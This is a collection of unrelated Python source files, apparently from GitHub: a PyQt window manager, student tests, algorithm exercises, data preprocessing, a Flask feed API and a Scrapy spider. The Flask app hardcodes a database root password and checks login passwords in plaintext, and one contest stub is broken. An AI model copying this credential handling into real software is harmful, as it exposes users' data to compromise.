self.show_pid_checkbox.stateChanged.connect(self.on_show_pid_checkbox_state_changed)\n self.display_config_checkboxes_vbox.addWidget(self.show_pid_checkbox)\n\n self.show_hwnd_checkbox = QCheckBox(\"Show HWND\", self)\n self.show_hwnd_checkbox.setChecked(SHOW_HWND)\n self.show_hwnd_checkbox.stateChanged.connect(self.on_show_hwnd_checkbox_state_changed)\n self.display_config_checkboxes_vbox.addWidget(self.show_hwnd_checkbox)\n\n self.show_hex_checkbox = QCheckBox(\"Show PID and HWND in hexadecimal\", self)\n self.show_hex_checkbox.setChecked(SHOW_HEX)\n self.show_hex_checkbox.stateChanged.connect(self.on_show_hex_checkbox_state_changed)\n self.display_config_checkboxes_vbox.addWidget(self.show_hex_checkbox)\n\n\n \n # 匹配窗口列表\n # match_window_frame = QFrame()\n # match_window_frame.setMinimumWidth(200)\n # window_list_splitter.addWidget(match_window_frame)\n\n # match_window_vbox = QVBoxLayout()\n # match_window_frame.setLayout(match_window_vbox)\n\n # match_windows_vbox = QVBoxLayout()\n # match_window_vbox.addLayout(match_windows_vbox)\n\n # match_windows_label = QLabel(\"Match Windows:\", self)\n # match_windows_vbox.addWidget(match_windows_label)\n\n # self.match_window_list = QListWidget(self)\n # match_windows_vbox.addWidget(self.match_window_list)\n\n # remove_window_vbox = QVBoxLayout()\n # match_window_vbox.addLayout(remove_window_vbox)\n\n # self.remove_window_btn = QPushButton(\"Remove Window\", self)\n # self.remove_window_btn.clicked.connect(self.on_remove_window)\n # remove_window_vbox.addWidget(self.remove_window_btn)\n\n # 控制面板\n # hbox_control_panel = QHBoxLayout()\n # vbox_main.addLayout(hbox_control_panel)\n\n # save_load_vbox = QVBoxLayout()\n # hbox_control_panel.addLayout(save_load_vbox)\n\n # self.save_config_btn = QPushButton(\"Save Config\", self)\n # self.save_config_btn.clicked.connect(self.on_save_config)\n # save_load_vbox.addWidget(self.save_config_btn)\n\n # self.load_config_btn = QPushButton(\"Load Config\", self)\n # self.load_config_btn.clicked.connect(self.on_load_config)\n # save_load_vbox.addWidget(self.load_config_btn)\n\n # spacer1 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum)\n # hbox_control_panel.addItem(spacer1)\n\n # self.move_window_to_me_btn = QPushButton(\"Move windows to me\", self)\n # self.move_window_to_me_btn.clicked.connect(self.on_move_window_to_me)\n # hbox_control_panel.addWidget(self.move_window_to_me_btn)\n\n # spacer2 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum)\n # hbox_control_panel.addItem(spacer2)\n\n # running_control_vbox = QVBoxLayout()\n # hbox_control_panel.addLayout(running_control_vbox)\n\n # running_state_vbox = QVBoxLayout()\n # running_control_vbox.addLayout(running_state_vbox)\n\n # self.running_state_label = QLabel(self)\n # self.running_state_label.setText(\"Auto Move: Stopped\")\n # running_state_vbox.addWidget(self.running_state_label)\n\n # self.auto_move_btn = QPushButton(\"Start Auto Move\", self)\n # self.auto_move_btn.clicked.connect(self.on_start_auto_move)\n # running_control_vbox.addWidget(self.auto_move_btn)\n\n # self.test_btn = QPushButton(\"Test\", self)\n # self.test_btn.clicked.connect(self.on_test)\n # running_control_vbox.addWidget(self.test_btn)\n\n # self.test_text_box = QLineEdit(self)\n # running_control_vbox.addWidget(self.test_text_box)\n \n # 其他初始化\n self.core.refresh_all_windows() \n self.refresh_window_list_content()\n self.setWindowTitle(\"Virtual Desktop Enhancer\")\n\n self.setGeometry(0, 0, 800, 960)\n\n screen = QDesktopWidget().screenGeometry() # 获取屏幕尺寸\n window = self.geometry()\n self.move((screen.width() - window.width()) // 2, (screen.height() - window.height()) // 4)\n\n\n def refresh_window_list_content(self):\n self.all_windows_list.clear()\n for window_info in self.core.window_infos:\n item = CurrentWindowItem.from_WindowInfo(window_info)\n self.all_windows_list.addItem(item)\n self.all_windows_label.setText(f\"All Windows ({self.all_windows_list.count()}):\")\n \n # 把匹配和 pinned 的窗口放到最前面\n for i in range(self.all_windows_list.count()):\n item = self.all_windows_list.item(i)\n if item.matched is True:\n self.all_windows_list.takeItem(i)\n self.all_windows_list.insertItem(0, item)\n \n for i in range(self.all_windows_list.count()):\n item = self.all_windows_list.item(i)\n if item.pinned is True:\n self.all_windows_list.takeItem(i)\n self.all_windows_list.insertItem(0, item)\n \n def on_test(self):\n move_window_to_desktop(int(self.test_text_box.text(), 16), 1)\n\n def load_config(self):\n print(\"load_config\")\n # ... 从磁盘加载配置文件,并更新界面元素。\n\n def save_config(self):\n print(\"save_config\")\n # ... 将配置文件保存到磁盘。\n\n # @lp_wrapper\n def refresh_all_windows(self):\n self.core.refresh_all_windows()\n self.refresh_window_list_content()\n\n def on_add_window(self):\n print(\"on_add_window\")\n # ... 将选中的窗口添加到“Match Window”列表框。\n\n def on_toggle_pin_window(self):\n for item in self.all_windows_list.selectedItems():\n self.core.toggle_pin_window(item.window_info)\n item.refresh()\n self.refresh_window_list_content()\n print(\"on_toggle_pin_window\")\n # ... 切换选中的窗口的“Pin”状态。\n\n def on_remove_window(self):\n print(\"on_remove_window\")\n # ... 从“Match Window”列表框中删除选中的窗口。\n\n def on_save_config(self):\n print(\"on_save_config\")\n # ... 保存配置文件。\n\n def on_load_config(self):\n print(\"on_load_config\")\n # ... 从磁盘加载配置文件。\n\n def on_start_auto_move(self):\n print(\"on_start_auto_move\")\n # ... 开始监听虚拟桌面切换事件。\n\n def on_stop_auto_move(self):\n print(\"on_stop_auto_move\")\n # ... 停止监听虚拟桌面切换事件。\n\n def on_exit(self):\n print(\"on_exit\")\n # ... 退出程序。\n\n def on_about(self):\n print(\"on_about\")\n # ... 弹出关于窗口。\n\n def on_language_changed(self, index):\n print(\"on_language_changed\")\n # ... 更改界面语言。\n\n def get_windows_to_move(self) -> list[int]:\n print(\"get_windows_to_move\")\n return []\n # ... 根据配置文件中的所有条目,返回一个列表,列表中包含了所有匹配的窗口。\n\n def move_windows(self, hwnds: list[int]):\n print(\"move_windows\")\n # ... 将匹配的窗口移动到当前虚拟桌面。\n\n def on_move_window_to_me(self):\n print(\"on_move_window_to_me\")\n # ... 将所有匹配的窗口移动到当前虚拟桌面。\n\n def tr(self, text: str) -> str:\n return text\n\n # def nativeEvent(self, eventType, message):\n # msg = ctypes.wintypes.MSG.from_address(message.__int__())\n # if msg.message == WM_SHELLHOOKMESSAGE and msg.wParam == HSHELL_VIRTUAL_DESKTOP_CHANGED:\n # success = self.core.on_virtual_desktop_changed()\n # if success:\n # # self.label.setText(f\"当前虚拟桌面: {get_current_destop_number()} {get_desktop_name(get_current_destop_number())}\")\n # self.update()\n # return super(VirtualDesktopEnhancerWindow, self).nativeEvent(eventType, message)\n\n def init_system_tray(self):\n self.tray_icon = QSystemTrayIcon(self)\n app = QApplication.instance()\n app_icon = app.style().standardPixmap(app.style().SP_DesktopIcon)\n fallback_icon = QIcon()\n fallback_icon.addPixmap(app_icon, QIcon.Normal, QIcon.Off)\n self.tray_icon.setIcon(fallback_icon)\n self.tray_icon.setToolTip(\"Virtual Desktop Enhancer\")\n self.tray_icon.show()\n \n\n # 创建右键菜单\n tray_menu = QMenu()\n\n unpin_all_action = QAction(\"Unpin All Windows\", self)\n unpin_all_action.triggered.connect(self.on_unpin_all_windows)\n tray_menu.addAction(unpin_all_action)\n\n tray_menu.addSeparator()\n \n # 创建恢复窗口的操作\n restore_action = QAction(\"Restore\", self)\n restore_action.triggered.connect(self.restore_window)\n tray_menu.addAction(restore_action)\n\n # 创建退出程序的操作\n exit_action = QAction(\"Exit\", self)\n exit_action.triggered.connect(self.exit_app)\n tray_menu.addAction(exit_action)\n\n # 设置系统托盘图标的菜单\n self.tray_icon.setContextMenu(tray_menu)\n\n # 当系统托盘图标被激活时(例如,双击它),显示窗口\n self.tray_icon.activated.connect(self.on_tray_icon_activated)\n\n def closeEvent(self, event):\n # 重写关闭事件,最小化到系统托盘而不关闭应用程序\n event.ignore()\n self.hide()\n # self.tray_icon.show()\n # print(\"closeEvent\")\n\n def on_tray_icon_activated(self, reason):\n if reason == QSystemTrayIcon.DoubleClick:\n self.restore_window()\n\n def restore_window(self):\n self.show()\n move_window_to_desktop(int(self.winId()), get_current_desktop_number())\n self.showNormal()\n self.on_refresh_button_clicked()\n\n def exit_app(self):\n print(\"exit_app\")\n self.tray_icon.hide()\n QApplication.quit()\n\n def on_unpin_all_windows(self):\n self.core.unpin_all_windows()\n self.refresh_window_list_content()\n\n def on_show_matched_state_checkbox_state_changed(self, state):\n global SHOW_MATCHED_STATE\n if state == Qt.Checked:\n SHOW_MATCHED_STATE = True\n else:\n SHOW_MATCHED_STATE = False\n self.refresh_window_list_content()\n\n def on_show_desktop_name_checkbox_state_changed(self, state):\n global SHOW_DESKTOP_NAME\n if state == Qt.Checked:\n SHOW_DESKTOP_NAME = True\n else:\n SHOW_DESKTOP_NAME = False\n self.refresh_window_list_content()\n\n def on_show_app_name_checkbox_state_changed(self, state):\n global SHOW_APP_NAME\n if state == Qt.Checked:\n SHOW_APP_NAME = True\n else:\n SHOW_APP_NAME = False\n self.refresh_window_list_content()\n\n def on_show_pid_checkbox_state_changed(self, state):\n global SHOW_PID\n if state == Qt.Checked:\n SHOW_PID = True\n else:\n SHOW_PID = False\n self.refresh_window_list_content()\n\n def on_show_hwnd_checkbox_state_changed(self, state):\n global SHOW_HWND\n if state == Qt.Checked:\n SHOW_HWND = True\n else:\n SHOW_HWND = False\n self.refresh_window_list_content()\n\n def on_show_hex_checkbox_state_changed(self, state):\n global SHOW_HEX\n if state == Qt.Checked:\n SHOW_HEX = True\n else:\n SHOW_HEX = False\n self.refresh_window_list_content()\n\n def on_refresh_button_clicked(self):\n self.core.refresh_all_windows() \n self.refresh_window_list_content()\n self.current_vd_label.setText(f\"Current Virtual Desktop: {get_current_desktop_number()} {get_desktop_name(get_current_desktop_number())}\")","repo_name":"Jun-ce/VirtualDesktopTool","sub_path":"VirtualDesktopEnhancerWindow.py","file_name":"VirtualDesktopEnhancerWindow.py","file_ext":"py","file_size_in_byte":21409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36255079320","text":"############\n#Nombre-@Agustina-Bover\n#UNRN Andina - Introduccion a la Ingenieria en Computacion\n###########\n\"\"\"\nEstos son los test correspondientes al archivo \"ejercicio10.py\"\nque estan en la carpeta \"src\".\n\"\"\"\nimport pytest\nfrom src.ejercicio11 import es_multiplo\ndef test_es_multiplo_si():\n \"\"\"\n Comprueba el funcionamiento si el nro2 efectivamente es multiplo\n de nro1\n \"\"\"\n nro1=6\n nro2=2\n resultado=es_multiplo(nro1,nro2)\n assert isinstance(resultado, bool), \"El resultado debe ser un valor booleano\"\n assert resultado is True, \"No se obtiene el resultado esperado\"\n assert nro1>0 and nro2>0, \"Los numeros deben ser positivos\"\ndef test_es_multiplo_no():\n \"\"\"\n Comprueba el funcionamiento si el nro2 no es multiplo\n de nro1\n \"\"\"\n nro1=7\n nro2=6\n resultado=es_multiplo(nro1,nro2)\n assert isinstance(resultado, bool), \"El resultado debe ser un valor booleano\"\n assert resultado is False, \"No se obtiene el resultado esperado\"\n assert nro1>0 and nro2>0, \"Los numeros deben ser positivos\"\n","repo_name":"alumnos-ingcom/python-1-battleroyale","sub_path":"tests/test_ejercicio11_Agustina-Bover.py","file_name":"test_ejercicio11_Agustina-Bover.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19612000903","text":"class Solution:\n #Function to remove a loop in the linked list.\n def removeLoop(self, head):\n slow = head\n fast = head\n loop_found = False\n if head is None:\n return False\n while fast is not None and fast.next is not None:\n slow = slow.next\n fast = fast.next.next\n if slow == fast:\n loop_found = True\n break\n if loop_found is True:\n slow = head\n if slow == fast:\n while fast.next != slow:\n fast = fast.next\n else: \n while slow.next != fast.next:\n slow = slow.next\n fast = fast.next\n fast.next = None\n return 1\n","repo_name":"thetanishkagupta/DSA-codes","sub_path":"Linked List/Remove loop in Linked List.py","file_name":"Remove loop in Linked List.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36801020060","text":"'''\nCreated on 2017年1月14日\n\n@author: Think\n【程序23】 \n题目:打印出如下图案(菱形)\n\n *\n ***\n *****\n*******\n *****\n ***\n *\n1.程序分析:先把图形分成两部分来看待,前四行一个规律,后三行一个规律,利用双重\n      for循环,第一层控制行,第二层控制列。 \n2.程序源代码:\n'''\n\nfrom sys import stdout\n\ndef jcp023():\n for i in range(4):\n #print(i)\n for j in range(3 - i):\n stdout.write(' ')\n for k in range(2 * i + 1):\n stdout.write('*')\n print('')\n \n for i in range(3):\n for j in range(i + 1):\n stdout.write(' ')\n for k in range(5 - 2*i):\n stdout.write('*')\n print('')\n \njcp023() ","repo_name":"enyaooshigaolo/MyPython","sub_path":"pyPractise/jcp023.py","file_name":"jcp023.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15809053748","text":"N = int(input()) # число вершин в графе\r\nG = [] # граф, матрица смежности\r\n\r\nfor i in range(N):\r\n row = list(map(int, input().split()))\r\n G.append(row)\r\n\r\n# счетчики вхождений циклов\r\ncycle3 = 0\r\ncycle4 = 0\r\ncycle5 = 0\r\n\r\norbits = [[0 for i in range(3)] for j in range(N)] # G[i][0] кол-во вхождений в орбиту 3 (3-цикл)\r\n # G[i][1] кол-во вхождений в орбиту 8 (4-цикл)\r\n # G[i][2] кол-во вхождений в орбиту 34 (5-цикл)\r\n# списки вершин и ребер каждого цикла\r\ncycle3_list = []\r\ncycle4_list = []\r\ncycle5_list = []\r\n\r\n\r\n# циклы длины 3\r\n\r\nfor i in range(0, N):\r\n for j in range(i + 1, N):\r\n if not G[i][j]:\r\n continue\r\n for k in range(j + 1, N):\r\n if G[j][k] and G[i][k]: # найден цикл длины 3\r\n cycle3 += 1\r\n orbits[i][0] += 1\r\n orbits[j][0] += 1\r\n orbits[k][0] += 1\r\n\r\n vertices = [i, j, k]\r\n edges = [[i, j], [j, k], [i, k]]\r\n cycle = [vertices, edges]\r\n cycle3_list.append(cycle)\r\n\r\n\r\n# циклы длины 4\r\n\r\nfor i in range(0, N):\r\n for j in range(0, N):\r\n if j == i or not G[i][j]:\r\n continue\r\n for k in range(0, N):\r\n if k == i or k == j or not G[j][k]:\r\n continue\r\n for p in range(0, N):\r\n if p == i or p == j or p == k:\r\n continue\r\n if G[k][p] and G[i][p]: # найден цикл длины 4\r\n if not G[i][k] and not G[j][p]: # проверим, что нет других ребер\r\n cycle4 += 1\r\n orbits[i][1] += 1\r\n orbits[j][1] += 1\r\n orbits[k][1] += 1\r\n orbits[p][1] += 1\r\n\r\n vertices = [i, j, k, p]\r\n edges = [[i, j], [j, k], [k, p], [i, p]]\r\n cycle = [vertices, edges]\r\n cycle4_list.append(cycle)\r\n\r\n# каждый цикл длины 4 обходим из каждой вершины и в разных направлениях, поэтому результат делим на 8\r\ncycle4 = int(cycle4 / 8)\r\nfor i in range(N):\r\n orbits[i][1] = int(orbits[i][1] / 8)\r\n\r\n\r\n# циклы длины 5\r\n\r\nfor i in range(0, N):\r\n for j in range(0, N):\r\n if j == i or not G[i][j]:\r\n continue\r\n for k in range(0, N):\r\n if k == i or k == j or not G[j][k]:\r\n continue\r\n for p in range(0, N):\r\n if p == i or p == j or p == k or not G[k][p]:\r\n continue\r\n for d in range(0, N):\r\n if d == i or d == j or d == k or d == p:\r\n continue\r\n if G[p][d] and G[i][d]: # найден цикл длины 5\r\n if not G[i][k] and not G[i][p] and not G[j][d] and not G[j][p] and not G[d][k]: # проверим, что нет других ребер\r\n cycle5 += 1\r\n orbits[i][2] += 1\r\n orbits[j][2] += 1\r\n orbits[k][2] += 1\r\n orbits[p][2] += 1\r\n orbits[d][2] += 1\r\n\r\n vertices = [i, j, k, p, d]\r\n edges = [[i, j], [j, k], [k, p], [p, d], [i, d]]\r\n cycle = [vertices, edges]\r\n cycle5_list.append(cycle)\r\n\r\n# каждый цикл длины 5 обходим из каждой вершины и в разных направлениях, поэтому результат делим на 10\r\ncycle5 = int(cycle5 / 10)\r\nfor i in range(N):\r\n orbits[i][2] = int(orbits[i][2] / 10)\r\n\r\n\r\n# print(orbits)\r\n# print(cycle3, cycle4, cycle5)\r\n# print(cycle3_list)\r\n","repo_name":"nastyaTiim/Graphlets","sub_path":"graph_cycles.py","file_name":"graph_cycles.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36946710532","text":"import pandas as pd\nimport numpy as np\nimport logging\nimport sys\nimport os\nimport datetime\nsys.path.insert(0, os.path.dirname(__file__))\n\nfrom conf.conf_loader import conf_object\n\n\ndef info_date(data: pd.DataFrame):\n \"\"\"\n print info on date features\n :param data: bitcoin data\n :return:\n \"\"\"\n\n try:\n length_trade_day = (data['time_period_end']-data['time_period_start']).unique()\n length_trade_day = length_trade_day/np.timedelta64(1, 's')\n print('Length of time increments: ', length_trade_day.max(), ' sec')\n print('# unique time increments: ', len(set(length_trade_day)), '\\n')\n if len(set(length_trade_day)) > 1:\n logging.info(\"Length of time increments is unequal.\")\n print(\"Max date: \", data['time_period_end'].max())\n print(\"Min date: \", data['time_period_end'].min())\n\n except Exception as ex:\n logging.error(\"Error in info_date(): {}\".format(ex))\n raise ex\n\n\ndef preprocess_time(data: pd.DataFrame,\n ) -> pd.DataFrame:\n \"\"\"\n preprocess date features\n :param data: bitcoin data\n :return:\n \"\"\"\n\n try:\n data['time_period_start'] = pd.to_datetime(data['time_period_start'])\n data['time_period_end'] = pd.to_datetime(data['time_period_end'])\n data['hour'] = [x.hour for x in data['time_period_end']] # make hour of day a feature, in case useful\n data = data.sort_values('time_period_end')\n\n info_date(data=data)\n\n data.drop(conf_object.project_conf[\"time_features\"],\n axis=1,\n inplace=True\n ) # drop unused time features\n\n return data\n\n except Exception as ex:\n logging.error(\"Error in preprocess_time(): {}\".format(ex))\n raise ex\n\n\ndef preprocess_data(data: pd.DataFrame = None):\n\n try:\n if data is None:\n # get data\n data = pd.read_csv(\n os.path.join(os.path.dirname(__file__), conf_object.project_conf[\"file_path\"]),\n index_col=0\n )\n # preprocessing - time\n data = preprocess_time(data=data)\n else:\n data['hour'] = datetime.datetime.now().hour\n\n return data\n\n except Exception as ex:\n logging.error(\"Error in preprocess_data(): {}\".format(ex))\n raise ex\n\n\nif __name__ == \"__main__\":\n data = preprocess_data()\n","repo_name":"diana-xie/btc_prediction","sub_path":"data/data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71759321495","text":"gifts = [\n \"Shouldn't be here\",\n \"a Partridge in a Pear Tree.\",\n \"two Turtle Doves, \",\n \"three French Hens, \",\n \"four Calling Birds, \",\n \"five Gold Rings, \",\n \"six Geese-a-Laying, \",\n \"seven Swans-a-Swimming, \",\n \"eight Maids-a-Milking, \",\n \"nine Ladies Dancing, \",\n \"ten Lords-a-Leaping, \",\n \"eleven Pipers Piping, \",\n \"twelve Drummers Drumming, \",\n]\n\nordinals = (\n \"zeroeth?\",\n \"first\",\n \"second\",\n \"third\",\n \"fourth\",\n \"fifth\",\n \"sixth\",\n \"seventh\",\n \"eighth\",\n \"ninth\",\n \"tenth\",\n \"eleventh\",\n \"twelfth\",\n)\n\n\ndef _verse(day):\n ret = f\"On the {ordinals[day]} day of Christmas my true love gave to me: \"\n if day == 1:\n ret += gifts[1]\n else:\n ret += \"\".join(gifts[day:1:-1] + [\"and \", gifts[1]])\n return ret\n\n\ndef recite(start_verse, end_verse):\n return [_verse(i) for i in range(start_verse, end_verse + 1)]\n","repo_name":"evaitl/exercism_python","sub_path":"twelve-days/twelve_days.py","file_name":"twelve_days.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32721078225","text":"import glob\nimport os\nimport shutil\n\nsrc_path = '/media/himank/SSD/selfc_data/reorg_UVG/UVG_src/selfc_mm'\ndest_path = '/media/himank/SSD/selfc_data/mm_septuplet'\n\nseq_output_dir = os.path.join(dest_path, 'sequences')\nos.makedirs(seq_output_dir, exist_ok=True)\n\nsequences = [d for d in os.listdir(src_path) if os.path.isdir(os.path.join(src_path, d))]\ngap = 3\n\ntrain_list = []\n\nfor seq_no, seq in enumerate(sequences):\n seq_folder_name = str(seq_no+1).zfill(5)\n cur_seq_output_dir = os.path.join(seq_output_dir, seq_folder_name)\n os.makedirs(cur_seq_output_dir, exist_ok=True)\n\n seq_path = os.path.join(src_path, seq)\n image_files = glob.glob(seq_path + \"/*.jpg\")\n seq_len = len(image_files)\n for i in range(seq_len // 7):\n group_folder_name = str(i+1).zfill(4)\n cur_group_output_dir = os.path.join(cur_seq_output_dir, group_folder_name)\n os.makedirs(cur_group_output_dir, exist_ok=True)\n\n train_list.append(seq_folder_name + \"/\" + group_folder_name)\n\n count = 0\n for j in range((gap*i)+1, (gap*i)+8):\n count += 1\n image_file = glob.glob(seq_path + f\"/im{j}.jpg\")[0]\n shutil.copy(image_file, os.path.join(cur_group_output_dir, f'im{count}.jpg'))\n\n # print(len(image_files))\n\nwith open(os.path.join(dest_path, 'train_list.txt'), 'w') as f:\n for row in train_list:\n f.write(\"%s\\n\" % str(row))","repo_name":"subClassy/Video-Compression-using-Generative-Models","sub_path":"codes/create_train_dataset.py","file_name":"create_train_dataset.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"18982863562","text":"#https://codingcompetitions.withgoogle.com/codejam/round/000000000019fd27/0000000000209aa0\n\nfrom collections import defaultdict\nimport sys\n\n#f = open(r\"C:\\Users\\doa\\source\\repos\\cj2020\\cj2020\\2-1.txt\")\nf = sys.stdin\n\n\ndef solve(N, K):\n # make \n\n str_res = \"\"\n return str_res\n\nT = int(f.readline())\n\nfor t in range(T):\n N, K = [int(x) for x in f.readline().split(\" \")]\n res, m = solve(N, K)\n print (\"Case #{0}: {1}\".format(t + 1, res))\n print (m)\n","repo_name":"chvjak/cj2020","sub_path":"cj2020/cj2020-3.py","file_name":"cj2020-3.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17043080352","text":"import os\nfrom io import BytesIO\nfrom unittest import TestCase\n\nfrom roadmaps.services.archive import ArchiveInMemory\n\n\nclass ArchiveInMemoryTestCase(TestCase):\n\n def setUp(self) -> None:\n super().setUp()\n self.filename = 'test.txt'\n self.expected_buffer_size = 136\n with open(self.filename, 'w') as fl:\n fl.write(\"Some testing content\")\n\n def tearDown(self) -> None:\n super().tearDown()\n os.remove(self.filename)\n\n def test_create(self):\n content = ArchiveInMemory.create([self.filename])\n self.assertIsInstance(content, BytesIO)\n self.assertEqual(self.expected_buffer_size, content.getbuffer().nbytes)\n","repo_name":"adambbx/roadmap_builder","sub_path":"roadmaps/tests/services/tests_archive.py","file_name":"tests_archive.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"33923812267","text":"from flask import Flask, request\nfrom flask_sqlalchemy import SQLAlchemy\nimport json, pprint\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://root:Shebang01#!@db:3306/db'\n#app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://root:Shebang01#!@localhost:3307/db'\ndb = SQLAlchemy(app)\n\nclass Login(db.Model):\n __tablename__ = 'login'\n id = db.Column(db.Integer, primary_key = True)\n username = db.Column(db.String(45))\n password = db.Column(db.String(45))\n\nclass Feed(db.Model):\n __tablename__ = 'feed'\n id = db.Column(db.Integer, primary_key = True)\n name = db.Column(db.String(45))\n price = db.Column(db.Numeric)\n\nclass Unit(db.Model):\n __tablename__ = 'unit'\n id = db.Column(db.Integer, primary_key = True)\n id_user = db.Column(db.Integer)\n location = db.Column(db.String(45))\n\nclass Stock(db.Model):\n __tablename__ = 'stock'\n id = db.Column(db.Integer, primary_key = True)\n id_unit = db.Column(db.Integer)\n id_feed = db.Column(db.Integer)\n quantity = db.Column(db.Integer)\n\n@app.route('/')\ndef hello_world():\n return 'Hello, World!'\n\n@app.route('/feed', methods=['POST'])\ndef feed():\n records = []\n if 'user' in request.form:\n all_units = db.session.query(Unit).filter_by(id_user=request['user']).all()\n else:\n all_units = db.session.query(Unit).all()\n for units in all_units:\n unit = {\n 'location':units.location,\n 'items': []\n }\n for rec in db.session.query(Stock).filter_by(id_unit=units.id).all():\n feed = db.session.query(Feed).filter_by(id=rec.id_feed).first()\n unit['items'].append({\n 'id': feed.id,\n 'name': feed.name,\n 'price': feed.price,\n 'quantity': rec.quantity\n })\n records.append(unit)\n return json.dumps(records)\n\n@app.route('/login', methods=['POST'])\ndef login():\n f = db.session.query(Login).filter_by(username=request.form['username']).first()\n \n if f == None:\n return \"dne\"\n else:\n if request.form['password'] == f.password:\n return \"pass\"\n else:\n return \"fail\"\n\nif __name__ == \"__main__\":\n # Only for debugging while developing\n app.run(host=\"0.0.0.0\", debug=True, port=80)","repo_name":"EHowardHill/feed-hub","sub_path":"dashboard/feed-hub/py-api/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31555622279","text":"# coding=utf-8\nfrom .models import BoardSettings, Board, MemberInBoard, BoardType, Role\nfrom members.models import Member\n\n\ndef setup():\n settings = BoardSettings.instance()\n if not settings.is_setup:\n # Create a board type for the board :D\n board_type = BoardType(name=\"The Board\")\n board_type.save()\n\n # Create some roles\n role_chairman = Role(name=\"Chairman\")\n role_chairman.save()\n role_treasurer = Role(name=\"Treasurer\")\n role_treasurer.save()\n role_random_dude = Role(name=\"Superman\")\n role_random_dude.save()\n\n # Create a board\n board = Board(year=2015,\n photo=None,\n boardtype=board_type)\n board.save()\n\n # Create some members\n member1 = Member(first_name=\"Clark\",\n last_name=\"Kent\")\n member1.save()\n member2 = Member(first_name=\"Charles\",\n last_name=\"Xavier\")\n member2.save()\n member3 = Member(first_name=\"Scrooge\",\n last_name=\"McDuck\")\n member3.save()\n # Add Xavier to the board\n chairman = MemberInBoard(board=board,\n role=role_chairman,\n member=member2)\n chairman.save()\n # Add Scrooge to the board\n chairman = MemberInBoard(board=board,\n role=role_treasurer,\n member=member3)\n chairman.save()\n # Add Kent to the board\n chairman = MemberInBoard(board=board,\n role=role_random_dude,\n member=member1)\n chairman.save()\n\n settings.is_setup = True\n settings.save()\n","repo_name":"Lundis/SAW","sub_path":"studassweb/boards/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72179626454","text":"import os\nimport time\nimport numpy as np\n\n# Locals libs\nimport NBB_sound as sound\n\n# Reimport\nimport importlib\nimportlib.reload(sound)\n\n# Get user name\nusername = os.getlogin()\n\n# Specify paths\nrepo_path = '/home/' + username + '/NoBlackBoxes/LastBlackBox'\nbox_path = repo_path + '/boxes/audio'\nwav_path = box_path + '/_tmp/test.wav'\n\n# Specify params\ninput_device = 0\nnum_channels = 1\nsample_rate = 16000\nbuffer_size = int(sample_rate / 10)\nmax_samples = int(sample_rate * 10)\n\n# List available sound devices\nsound.list_devices()\n\n# Initialize microphone\nmicrophone = sound.microphone(input_device, num_channels, 'int16', sample_rate, buffer_size, max_samples)\nmicrophone.start()\n\n# Clear error ALSA/JACK messages from terminal\nos.system('cls' if os.name == 'nt' else 'clear')\n\n# Live speech detection\nfor i in range(100):\n if microphone.is_speech():\n print(\"speech\")\n else:\n print(\"-not-\")\n time.sleep(0.1)\n\n# Shutdown microphone\nmicrophone.stop()\n\n# Report\nprint(\"Profiling:\\n- Avg (Max) Callback Duration (us): {0:.2f} ({1:.2f})\".format(microphone.callback_accum/microphone.callback_count*1000000.0, microphone.callback_max*1000000.0))\n\n# FIN","repo_name":"NoBlackBoxes/BlackBoxes","sub_path":"audio/python/test_speech.py","file_name":"test_speech.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"16865287485","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass JobsSpider(scrapy.Spider):\n name = 'jobs'\n allowed_domains = ['newyork.craigslist.org']\n # We modified this variable and added the job search page we want to start from\n start_urls = ['https://newyork.craigslist.org/search/egr']\n\n def parse(self, response):\n #listings = response.xpath('//a[@class=\"result-title hdrlnk\"]/text()').extract()\n #for listing in listings:\n #print(listing)\n #yield {'Listing': listing}\n\n listings = response.xpath('//li[@class=\"result-row\"]')\n for listing in listings:\n date = listing.xpath('.//*[@class=\"result-date\"]/@datetime').extract_first()\n link = listing.xpath('.//a[@class=\"result-title hdrlnk\"]/@href').extract_first()\n title = listing.xpath('.//a[@class=\"result-title hdrlnk\"]/text()').extract_first()\n\n yield scrapy.Request(link,\n callback=self.parse_listing,\n meta={\n 'date': date,\n 'link': link,\n 'title': title,}) # Think of `meta` as a yield for requests\n\n #yield {\n # 'date': date,\n # 'link': link,\n # 'title': title,\n #}\n\n next_page_url = response.xpath('//*[@class=\"button next\"]/@href').extract_first()\n\n if next_page_url:\n yield 